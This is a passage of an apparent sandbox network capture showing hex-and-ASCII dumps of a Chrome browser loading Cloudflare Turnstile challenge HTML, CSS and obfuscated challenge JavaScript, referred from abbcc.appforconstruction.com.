".concat(e,".");throw new dr(n,r)}function b(e){console.warn("[Cloudflare Turnstile] ".concat(e))}function ze(e){ret
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 64 69 76 22 29 3b 75 2e 73 74 79 6c 65 2e 70 6f 73 69 74 69 6f 6e 3d 22 66 69 78 65 64 22 2c 75 2e 73 74 79 6c 65 2e 7a 49 6e 64 65 78 3d 22 32 31 34 37 34 38 33 36 34 36 22 2c 75 2e 73 74 79 6c 65 2e 77 69 64 74 68 3d 22 31 30 30 76 77 22 2c 75 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 3d 22 31 30 30 76 68 22 2c 75 2e 73 74 79 6c 65 2e 74 6f 70 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 6c 65 66 74 3d 22 30 22 2c 75 2e 73 74 79 6c 65 2e 74 72 61 6e 73 66 6f 72 6d 4f 72 69 67 69 6e 3d 22 63 65 6e 74 65 72 20 63 65 6e 74 65 72 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 58 3d 22 68 69 64 64 65 6e 22 2c 75 2e 73 74 79 6c 65 2e 6f 76 65 72 66 6c 6f 77 59 3d 22 61 75 74 6f 22 2c 75 2e 73 74 79 6c 65 2e 62 61 63 6b 67 72 6f 75 6e 64 3d 22 72 67 62 61 28 30 Data Ascii: div");u.style.position="fixed",u.style.zIndex="2147483646",u.style.width="100vw",u.style.height="100vh",u.style.top="0",u.style.left="0",u.style.transformOrigin="center center",u.style.overflowX="hidden",u.style.overflowY="auto",u.style.background="rgba(0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.16	49736	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:51 UTC	811	OUT	GET /cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/ HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe Referer: https://abbcc.appforconstruction.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:52 UTC	1362	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:42:51 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 26746 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 permissions-policy: accelerometer=(),autoplay=(),browsing-topics=(),camera=(),clipboard-read=(),clipboard-write=(),geolocation=(),gyroscope=(),hid=(),interest-cohort=(),magnetometer=(),microphone=(),payment=(),publickey-credentials-get=(),screen-wake-lock=(),serial=(),sync-xhr=(),usb=() content-security-policy: frame-src https://challenges.cloudflare.com/; base-uri 'self' cross-origin-embedder-policy: require-corp cross-origin-opener-policy: same-origin cross-origin-resource-policy: cross-origin origin-agent-cluster: ?1 accept-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA critical-ch: Sec-CH-UA-Bitness, Sec-CH-UA-Arch, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Platform, Sec-CH-UA, UA-Bitness, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform-Version, UA-Platform, UA referrer-policy: same-origin document-policy: js-profiling
2024-11-20 14:42:52 UTC	82	IN	Data Raw: 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 65 35 39 33 35 38 32 36 62 66 30 30 66 33 65 2d 45 57 52 0d 0a 61 6c 74 2d 73 76 63 3a 20 68 33 3d 22 3a 34 34 33 22 3b 20 6d 61 3d 38 36 34 30 30 0d 0a 0d 0a Data Ascii: Server: cloudflareCF-RAY: 8e5935826bf00f3e-EWRalt-svc: h3=":443"; ma=86400
2024-11-20 14:42:52 UTC	1294	IN	Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 22 3e 0a Data Ascii: <!DOCTYPE HTML><html lang="en-US"><head> <meta http-equiv="X-UA-Compatible" content="IE=Edge,chrome=1"> <meta name="robots" content="noindex, nofollow" /> <meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1">
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 64 64 69 6e 67 3a 30 3b 77 69 64 74 68 3a 31 30 30 25 7d 2e 6d 61 69 6e 2d 77 72 61 70 70 65 72 2c 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 3b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 2d 61 70 70 6c 65 2d 73 79 73 74 65 6d 2c 73 79 73 74 65 6d 2d 75 69 2c 62 6c 69 6e 6b 6d 61 63 73 79 73 74 65 6d 66 6f 6e 74 2c 53 65 67 6f 65 20 55 49 2c 72 6f 62 6f 74 6f 2c 6f 78 79 67 65 6e 2c 75 62 75 6e 74 75 2c 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 2c 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 34 30 30 3b 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 61 6e 74 69 61 6c 69 61 73 65 Data Ascii: dding:0;width:100%}.main-wrapper,body{background-color:#fff;color:#232323;font-family:-apple-system,system-ui,blinkmacsystemfont,Segoe UI,roboto,oxygen,ubuntu,Helvetica Neue,arial,sans-serif;font-size:14px;font-weight:400;-webkit-font-smoothing:antialiase
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 61 6e 69 6d 61 74 69 6f 6e 3a 66 69 72 65 77 6f 72 6b 20 2e 33 73 20 65 61 73 65 2d 6f 75 74 20 31 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 31 3b 73 74 72 6f 6b 65 2d 64 61 73 68 61 72 72 61 79 3a 33 32 20 33 32 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 2d 38 7d 23 73 75 63 63 65 73 73 2d 74 65 78 74 7b 61 6e 69 6d 61 74 69 6f 6e 3a 66 61 64 65 2d 69 6e 20 31 73 20 66 6f 72 77 61 72 64 73 3b 6f 70 61 63 69 74 79 3a 30 7d 2e 73 75 63 63 65 73 73 2d 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 30 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 30 33 38 31 32 37 3b 66 69 6c 6c 3a 23 Data Ascii: stroke:#038127;animation:firework .3s ease-out 1;stroke-width:1;stroke-dasharray:32 32;stroke-dashoffset:-8}#success-text{animation:fade-in 1s forwards;opacity:0}.success-circle{stroke-dashoffset:0;stroke-width:2;stroke-miterlimit:10;stroke:#038127;fill:#
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 6f 76 65 72 6c 61 79 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 65 78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 63 68 61 6c 6c 65 6e 67 65 2d Data Ascii: enge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dark #challenge-
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 Data Ascii: k .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-helper-loop-li
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 7d 74 6f 7b 66 69 6c 6c 3a 23 Data Ascii: ffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1303}to{fill:#
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 6c 6f 67 6f 7b 68 65 Data Ascii: flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-compact #logo{he
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 78 2d 73 74 61 72 74 3b 6a 75 73 74 69 Data Ascii: .rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:flex-start;justi
2024-11-20 14:42:52 UTC	1369	IN	Data Raw: 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 33 70 78 3b 73 74 72 6f 6b 65 2d 6c Data Ascii: text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width:3px;stroke-l

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.16	49737	104.18.94.41	443	6988	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 14:42:53 UTC	730	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=8e5935826bf00f3e&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/m5qwh/0x4AAAAAAAzzOG3WgTHOL0Qf/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-20 14:42:53 UTC	331	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 14:42:53 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 121994 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 8e59358cfbd57cac-EWR alt-svc: h3=":443"; ma=86400
2024-11-20 14:42:53 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 48 50 55 62 6a 32 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 70 72 69 76 61 63 79 5f 6c 69 6e 6b 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 70 72 69 76 61 63 79 70 6f 6c 69 63 79 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.HPUbj2={"metadata":{"challenge.privacy_link":"https%3A%2F%2Fwww.cloudflare.com%2Fprivacypolicy%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconce
2024-11-20 14:42:53 UTC	1369	IN	Data Raw: 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 69 66 72 61 6d 65 5f 61 6c 74 22 3a 22 57 69 64 67 65 74 25 32 30 63 6f 6e 74 61 69 6e 69 6e 67 25 32 30 61 25 32 30 43 6c 6f 75 64 66 6c 61 72 65 25 32 30 73 65 63 75 72 69 74 79 25 32 30 63 68 61 6c 6c 65 6e 67 65 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 76 65 72 69 66 79 69 6e 67 22 3a 22 56 65 72 69 66 79 69 6e 67 2e 2e 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 74 69 6d 65 6f 75 74 22 3a 22 54 69 6d 65 64 25 32 30 6f 75 74 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 65 65 64 62 61 63 6b 5f 64 65 73 63 72 69 70 74 69 6f 6e 22 3a 22 53 65 6e 64 25 32 30 46 65 65 64 62 61 63 6b 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a Data Ascii: %20persists.","turnstile_iframe_alt":"Widget%20containing%20a%20Cloudflare%20security%20challenge","turnstile_verifying":"Verifying...","turnstile_timeout":"Timed%20out","turnstile_feedback_description":"Send%20Feedback","feedback_report_output_subtitle":
2024-11-20 14:42:53 UTC	1369	IN	Data Raw: 37 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 31 35 38 33 29 29 2f 37 2b 70 61 72 73 65 49 6e 74 28 67 4b 28 31 31 33 36 29 29 2f 38 2b 2d 70 61 72 73 65 49 6e 74 28 67 4b 28 38 35 31 29 29 2f 39 2c 64 3d 3d 3d 66 29 62 72 65 61 6b 3b 65 6c 73 65 20 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 63 61 74 63 68 28 67 29 7b 65 2e 70 75 73 68 28 65 2e 73 68 69 66 74 28 29 29 7d 7d 28 61 2c 37 33 36 36 33 33 29 2c 65 4d 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 65 4e 3d 65 4d 5b 67 4c 28 35 32 31 29 5d 2c 65 4d 5b 67 4c 28 35 34 35 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 67 4d 2c 64 2c 65 2c 66 2c 67 29 7b 67 4d 3d 67 4c 2c 64 3d 7b 7d 2c 64 5b 67 4d 28 31 37 32 37 29 5d 3d 67 4d 28 35 33 37 29 2c 64 5b 67 4d 28 34 31 35 29 5d 3d 67 4d 28 31 33 39 Data Ascii: 7))/6)+-parseInt(gK(1583))/7+parseInt(gK(1136))/8+-parseInt(gK(851))/9,d===f)break;else e.push(e.shift())}catch(g){e.push(e.shift())}}(a,736633),eM=this\|\|self,eN=eM[gL(521)],eM[gL(545)]=function(gM,d,e,f,g){gM=gL,d={},d[gM(1727)]=gM(537),d[gM(415)]=gM(139
2024-11-20 14:42:53 UTC	1369	IN	Data Raw: 37 29 5d 3d 65 4d 5b 67 4f 28 31 36 37 31 29 5d 5b 67 4f 28 31 34 34 37 29 5d 2c 6e 5b 67 4f 28 31 36 36 31 29 5d 3d 65 4d 5b 67 4f 28 31 36 37 31 29 5d 5b 67 4f 28 31 36 36 31 29 5d 2c 6e 5b 67 4f 28 31 36 39 32 29 5d 3d 65 4d 5b 67 4f 28 31 36 37 31 29 5d 5b 67 4f 28 37 33 30 29 5d 2c 6f 3d 6e 2c 73 3d 6e 65 77 20 65 4d 5b 28 67 4f 28 31 35 32 34 29 29 5d 28 29 2c 21 73 29 72 65 74 75 72 6e 3b 78 3d 67 4f 28 31 35 35 30 29 2c 73 5b 67 4f 28 31 31 36 36 29 5d 28 78 2c 6d 2c 21 21 5b 5d 29 2c 73 5b 67 4f 28 34 34 37 29 5d 3d 32 35 30 30 2c 73 5b 67 4f 28 31 35 31 31 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 73 5b 67 4f 28 37 35 30 29 5d 28 67 4f 28 34 33 32 29 2c 67 4f 28 32 34 34 29 29 2c 42 3d 7b 7d 2c 42 5b 67 4f 28 31 32 37 34 29 5d 3d 66 2c 42 Data Ascii: 7)]=eM[gO(1671)][gO(1447)],n[gO(1661)]=eM[gO(1671)][gO(1661)],n[gO(1692)]=eM[gO(1671)][gO(730)],o=n,s=new eM[(gO(1524))](),!s)return;x=gO(1550),s[gO(1166)](x,m,!![]),s[gO(447)]=2500,s[gO(1511)]=function(){},s[gO(750)](gO(432),gO(244)),B={},B[gO(1274)]=f,B
2024-11-20 14:42:53 UTC	1369	IN	Data Raw: 67 52 28 32 39 33 29 5d 3d 69 2c 6f 3d 6e 2c 65 4d 5b 67 52 28 33 39 34 29 5d 28 66 75 6e 63 74 69 6f 6e 28 67 56 2c 73 2c 78 29 7b 69 66 28 67 56 3d 67 52 2c 73 3d 7b 27 73 49 77 79 6d 27 3a 66 75 6e 63 74 69 6f 6e 28 76 2c 42 29 7b 72 65 74 75 72 6e 20 76 3e 42 7d 2c 27 62 73 66 6e 45 27 3a 66 75 6e 63 74 69 6f 6e 28 76 2c 42 2c 67 54 29 7b 72 65 74 75 72 6e 20 67 54 3d 62 2c 6b 5b 67 54 28 31 33 32 32 29 5d 28 76 2c 42 29 7d 2c 27 55 48 6d 52 54 27 3a 66 75 6e 63 74 69 6f 6e 28 76 2c 78 29 7b 72 65 74 75 72 6e 20 76 28 78 29 7d 2c 27 56 4b 49 4d 4e 27 3a 66 75 6e 63 74 69 6f 6e 28 76 2c 42 29 7b 72 65 74 75 72 6e 20 42 3d 3d 76 7d 2c 27 6c 49 77 53 76 27 3a 66 75 6e 63 74 69 6f 6e 28 76 2c 78 29 7b 72 65 74 75 72 6e 20 76 28 78 29 7d 2c 27 46 7a 6a 63 Data Ascii: gR(293)]=i,o=n,eM[gR(394)](function(gV,s,x){if(gV=gR,s={'sIwym':function(v,B){return v>B},'bsfnE':function(v,B,gT){return gT=b,k[gT(1322)](v,B)},'UHmRT':function(v,x){return v(x)},'VKIMN':function(v,B){return B==v},'lIwSv':function(v,x){return v(x)},'Fzjc
2024-11-20 14:42:53 UTC	1369	IN	Data Raw: 20 66 28 67 2c 68 29 7d 2c 27 50 52 69 45 61 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 3d 3d 3d 67 7d 2c 27 71 4c 78 4b 4e 27 3a 68 4c 28 31 35 36 35 29 2c 27 6e 54 4e 73 4b 27 3a 66 75 6e 63 74 69 6f 6e 28 66 2c 67 29 7b 72 65 74 75 72 6e 20 66 28 67 29 7d 7d 2c 65 3d 63 5b 68 4c 28 31 35 32 33 29 5d 2c 65 26 26 65 5b 68 4c 28 33 30 37 29 5d 3d 3d 3d 68 4c 28 31 33 39 37 29 26 26 64 5b 68 4c 28 35 33 36 29 5d 28 65 5b 68 4c 28 35 39 33 29 5d 2c 68 4c 28 31 37 31 37 29 29 3f 66 71 3d 64 5b 68 4c 28 31 30 30 35 29 5d 28 73 65 74 49 6e 74 65 72 76 61 6c 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 66 54 28 29 7d 2c 31 65 33 29 3a 65 26 26 65 5b 68 4c 28 33 30 37 29 5d 3d 3d 3d 68 4c 28 31 33 39 37 29 26 26 64 5b 68 4c 28 36 32 34 29 5d Data Ascii: f(g,h)},'PRiEa':function(f,g){return f===g},'qLxKN':hL(1565),'nTNsK':function(f,g){return f(g)}},e=c[hL(1523)],e&&e[hL(307)]===hL(1397)&&d[hL(536)](e[hL(593)],hL(1717))?fq=d[hL(1005)](setInterval,function(){fT()},1e3):e&&e[hL(307)]===hL(1397)&&d[hL(624)]
